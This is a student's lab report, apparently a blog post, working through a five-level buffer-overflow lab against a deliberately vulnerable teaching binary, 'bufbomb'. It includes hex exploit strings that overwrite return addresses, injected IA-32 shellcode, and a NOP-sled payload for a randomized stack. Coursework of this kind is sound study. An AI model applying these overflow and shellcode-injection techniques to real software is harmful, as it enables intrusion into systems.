计算机系统基础实验三

BufferBomb实验

实验目的与要求

1.加深对IA-32函数调用规则和栈结构的具体理解。

2. 对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击。

3. 设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。

实验原理与内容

对一个可执行程序“bufbomb”实施一系列5个难度递增的缓冲区溢出攻击缓冲区溢出攻击(buffer overflow attacks)——即设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像(栈帧),例如将给定的字节序列插入到其本不应出现的内存位置。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。

5个难度级逐级递增,分别命名为:

Level 0: smoke    (让目标程序调用smoke函数)

Level 1: fizz         (让目标程序使用特定参数调用Fizz函数)

Level 2: bang       (让目标程序调用Bang函数并修改全局变量)

Level 3: boom      (无感攻击,并传递有效返回值)

Level 4: kaboom  (栈帧地址变化时的有效攻击)

需要调用的函数均在目标程序中存在(起始指令地址可知)

每级需根据任务设计构造1个攻击字符串,对目标程序实施缓冲区溢出攻击。bufbomb目标程序在运行时使用如下getbuf函数从标准输入读入一个字符串:

/* Buffer size for getbuf */

int getbuf()

{

    other variables ...;

    char buf[NORMAL_BUFFER_SIZE];

    Gets(buf);

    return 1;

}

/* NORMAL_BUFFER_SIZE是大于等于32的一个常数 */

  • 函数Gets

从标准输入读入一个字符串(以换行‘\n’或文件结束end-of-file字符结尾)。将字符串(以null空字符结尾)存入指定的目标内存位置(具有NORMAL_BUFFER_SIZE字节大小的字符数组buf首地址)。不判断buf数组是否足够大而只是简单地向目标地址复制全部输入字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。

bufbomb程序中,函数getbuf被一个test函数调用:

void test() {

    int val;

    /* Put canary on stack to detect possible corruption */

    volatile int local = uniqueval();

    val = getbuf();

    /* Check for corrupted stack */

    if (local != uniqueval()) {

        printf("Sabotaged!: the stack has been corrupted\n");

    }

    else if (val == cookie) {

            printf("Boom!: getbuf returned 0x%x\n", val);

            validate(3);

        } else {

            printf("Dud: getbuf returned 0x%x\n", val);

        }

在getbuf执行完其返回语句(getbuf函数第5行),程序正常情况下应该从test函数的第7行开始继续执行。本实验各阶段的目的是改变该行为。

本实验的任务就是精心设计输入给bufbomb的字符串(称为“exploit string” 攻击字符串),通过造成缓冲区溢出来完成一些指定的任务。

关键:确定栈中的哪些数据条目做为攻击目标

假设攻击字符串包含于文件Solution.txt中,可使用如下命令测试攻击字符串在bufbomb上的运行结果,并与相应难度级的期望输出对比,以验证通过与否。使用如下命令:

linux> cat solution.txt | ./hex2raw | ./bufbomb -u [userid]

其中[userid]为学号位数,此处10以内的同学请直接输入一位位数,如3号同学输入3而不是03。

  • 辅助程序hex2raw

输入目标程序的攻击字符串(exploit string)一般包含地址、指令等可能不属于ASCII可打印字符集合(最高位为0)的字节值,因而无法直接编辑输入。程序hex2raw用于帮助构造攻击字符串。hex2raw从标准输入接收一个字符串,其中。用两个十六进制数字分别表示攻击字符串中一个字节的高、低4个位的值,不同十六进制数字对之间用空格或换行等空白字符分隔。将每个十六进制数字对转为二进制表示的一个攻击字符串中的字节,逐一送往标准输出。hex2raw程序支持C语言风格的块注释以便为攻击字符串添加注释(如下例),不影响字符串的解释与使用,如文本中可以出现以下类型的注释部分不会被辅助程序进行转换。

bf 66 7b 32 78 /* mov $0x78327b66,%edi */

注意:务必在开始与结束注释字符串的“/*”和“*/”前后保留空白字符以便注释部分被程序正确忽略。攻击字符串中不能在任何中间位置包含值为0x0A的字节——该ASCII代码对应换行符‘\n’,当Gets函数遇到该字节时将认为你意图结束字符串。

此外,本实验各阶段的正确解答基于进行实验的学生userid生成的cookie值一个cookie是一个由8个16进制数字组成的整数(例如0x1005b2b7),对每一个userid是唯一的。

makecookie程序生成对应输入参数userid的cookie并送往标准输出,如:

linux> ./makecookie 123456789

0x25e1304b

(此处0x25e1304b即为学号为123456789学生的cookie值,在后续解题过程中会体现出该值的影响)

  • 攻击字符串输入方式

可将用于某一级别的攻击字符串(所对应的十六进制数字序列)包含于一文件中。文件中序列格式为:两个16进制值作为一个16进制对,每个16进制对代表一个字节,每个16进制对之间用空格分开,例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”。使用hex2raw程序将代码字符串转化为字节序列并输出,再输入bufbomb目标程序执行攻击。可如下使用管道操作符连接不同程序:

linux> cat level.txt | ./hex2raw | ./bufbomb –u [userid]

或者,如下先将攻击字符串对应的raw字节序列存于一个文件中,再使用I/O重定向将其输入给bufbomb目标程序执行攻击:

 

linux> ./hex2raw < level.txt > level-raw.txt

linux> ./bufbomb -u [userid] < level-raw.txt

  • 攻击字符串示例:

b8 4b 30 e1 25       /* mov    $0x25e1304b,%eax */

a3 60 a3 04 08       /* mov    %eax,0x804a360 */

68 6d 88 04 08       /* push   $0x804886d */

c3                           /* ret */

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* end of buffer */

20 35 68 55           /* old %ebp */

b7 34 68 55           /* ret address => begin of buffer */

 

    缓冲区溢出攻击的关机是对于栈帧机制的理解。请结合之前的汇编语言知识和由实验练习得到的技能设计自己的攻击字符串并完成实验各个阶段。

实验过程与结果

实验总结果:

 

 

通过反汇编指令对bufbomb进行反汇编,会得到反汇编代码.

首先调用了getbuf函数读取数据,所以我们先从getbuf函数下手:

 

Level_0:

实验要求:

修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。

 

显然,实验要求我们修改getbuf返回地址,将其修改为smoke函数的地址,就可以达到实验的目的了.反汇编程序,得到了smoke函数的首地址:080493e9,所以根据我们栈的结构,我们应建立文件输入61字节的16进制数(前53字节为buf数组的内容,可以为任意数,除了0a,也就是’\n’,会引起getbuf函数读取结束;后四字节为栈中ebp的值,因为我们只要将getbuf函数的返回地址修改就可以了,所以这四字节也可以为任意数,除了0a;最后四字节就是getbuf的返回地址啦,由于是小端机器,所以我们应该倒着输:e9 93 04 08)

那么我们就可以得到

00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05

06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01

02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07

08 09 00 01 02 03 04 05 06 e9 93 04 08

编辑一个smoke.txt文件存进去,然后对bufbomb进行输入:

 

 

 

Level 1:

 

实验要求:

让getbuf()的调用者test()执行一个代码里未调用的函数,实验2中是fizz()函数。并且传入我们的cookie作为参数,让fizz()打印出来

Fizz代码:

 

 

 

从fizz函数的汇编代码里,我们可以看出:cookie存放的位置应该是(ebp-0x8),以及fizz函数的首地址为:08049416;通过栈帧图,可以清楚的看出,我们要做的就是①修改参数1的值为你的cookie,②把getbuf返回地址修改为fizz函数首地址,达到函数跳转的目的.

 

那么,同第一题,先对文件写入53字节的数组内容;然后写入4字节ebp(任意,不影响结果);在写入getbuf返回地址,显然返回地址应该写入fizz函数的首地址:16 94 04 08;然后写入fizz的返回地址(因为只要求我们调用fizz函数即可,所以fizz的返回地址为任意);最后四个字节就是我们的cookie啦.我的cookie应该输入:46 5c c5 18.

 

综合以上,就可以得到一串code,我的code是这样的,新建fizz.txt

00 01 02 03 04 05 06 07 08 09 00 01 02 03 04 05

06 07 08 09 00 01 02 03 04 05 06 07 08 09 00 01

02 03 04 05 06 07 08 09 00 01 02 03 04 05 06 07

08 09 00 01 02 03 04 05 06 16 94 04 08 00 00 00

00 46 5c c5 18

执行指令

 

 

Level 2:

 

实验要求:

让getbuf()返回到bang()而非test(),并且在执行bang()之前将global_value的值修改为cookie。

Bang代码;

 

 

看一下bang 函数的代码,我们可以看出0x804d168是globlevalue, 0x804d160存放的是cookie.我们要做的就是将0x804d168内存的值修改为我们的cookie值。首先,我们看一下我们应该写的汇编代码:

先将global_value 用mov指令变cookie (0x0804d100 前不加$ 表示地址),然后将bang()函数地址<0x08048bc5>写给esp,再执行ret指令时,程序自动跳入bang()函数。

movl $0x18c55c46, 0x0804d168

pushl $0x08049467

ret

指令 gcc -m32 -c bang.s 将assembly code写成machine code -->bang.o,再用objdump -d bang.o 读取machine code如下

 

 

将指令代码抄入攻击文件,除此之外我们还需要找到input string存放的位置作为第一次ret 指令的目标位置,具体操作方法见Overview, 经过gdb调试分析getbuf()申请的53字节缓冲区首地址为<0x55693a8b>

 

 

Bang.txt内容如下:

c7 05 68 d1 04 08 46 5c c5 18 68 67 94 04 08 c3

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 cb 36 69 55

结果截图:

 

 

Level 3:

 

实验要求:

将getbuf()的返回值修改为我们的cookie,并返回到调用者test()中

 

 要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,可以在<0x080494d0>(准备进入getbuf函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为<0x55693720>,如下:

 

 

旧的ebp寄存器和正确的返回地址,接下来就是通过自己构造攻击代码实施攻击

Bomb.s,代码:

movl $0x18c55c46, %eax

push $0x080494d5

ret

通过movl指令将cookie值传给%eax以返回给test(),然后使得程序跳转到test()中call getbuf下一条指令正常返回,但是并不在这里处理ebp寄存器问题,而是通过在攻击字符串里面设置ebp寄存器使得其还原为旧ebp。

 

 

新建bomb.txt

b8 46 5c c5 18 68 d5 94 04 08 c3 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 20 37 69 55 cb 36 69 55

执行指令:

 

 

Level 4:

 

实验要求:

用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn()。getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务是保证getbufn()每次都返回我们的cookie而不是1。

首先,要求里明确告诉了我们会调用5次testn函数,也就同时会调用5次getbufn函数.

那么我们看一下testn在调用getbufn之前的汇编代码:

 

 

通过设置断点查看ebp和esp内存:

 

 

得出%ebp= %esp+0x18

构造kabomb.s

movl $0x18c55c46, %eax

lea 0x18(%esp),%ebp

pushl $0x0804954f

ret

得出机器码;

 

 

getbufn的汇编代码

 

 

帧指针申请了0x26f的空间存放bufn,也就是623啦.所以数组长度为623字节.然后是4字节覆盖ebp内容,然后是4位getbufn返回地址

gdb调试,可以设置断点来获取buf的首地址(%ebp-0x26f)得到5个值:

 

 

由于buf地址有高有低,我们取最高的buf地址做测试(取最大的理由就是防止下面提到的nop指令不够),也就是0x556934f1

如果把我们的汇编操作机器码放在最前面,也就是buf首地址的位置,最后getbufn函数跳转到buf的首地址执行机器码,读到ret返回,结束.

所以,最后我们来总结一下我们的数据:

 

623字节数组内容+4字节ebp+4字节getbufn返回地址

因为我们有b8 46 5c c5 18 8d 6c 24 18 68 4f 95 04 08 c3 (15字节)的机器码要放在后面,前面用90(nop)填充,随后加上4字节getbufn函数返回地址(估计的buf首地址)

 

所以,最后应该是:

 

612个90(nop)+15字节机器码+4位估计的buf首地址(f1 34 69 55)

然后复制5遍

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90

90 90 90 90 b8 46 5c c5 18 8d 6c 24 18 68 4f 95

04 08 c3 f1 34 69 55 0a  (五遍0a连接)

结果截图:

 

 

实验总结

本次的实验我觉得比第二次实验简单,首先smoke阶段就是叫我们修改getbuf()的返回地址,在执行完getbuf()后不是返回到原来的调用者test(),而是跳到一个叫做smoke()的函数里。Fizz阶段就是在smoke的阶段传入cookie的值,bang阶段bang 函数的代码,我们可以看出0x804d168是globlevalue, 0x804d160存放的是cookie.我们要做的就是将0x804d168内存的值修改为我们的cookie值,bomb阶段就是将getbuf()的返回值修改为我们的cookie,并返回到调用者test()中,最后一个kabomb函数的难度是比较大的,用bufbomb的-n参数进入Level 4模式,此时程序不会调用getbuf()而是其升级版getbufn()。getbufn()的调用者会使用alloca库函数随机分配栈空间,然后连续调用getbufn()五次。我们的任务是保证getbufn()每次都返回我们的cookie而不是1。本次实验对于加深帧结构的理解有着很大的帮助,不但加深了我对于计算机系统基础的理解,还增加了知识,开阔我的视野,受益良多。

posted @ 2021-01-14 22:25  linlianghe  阅读(1582)  评论(0编辑  收藏  举报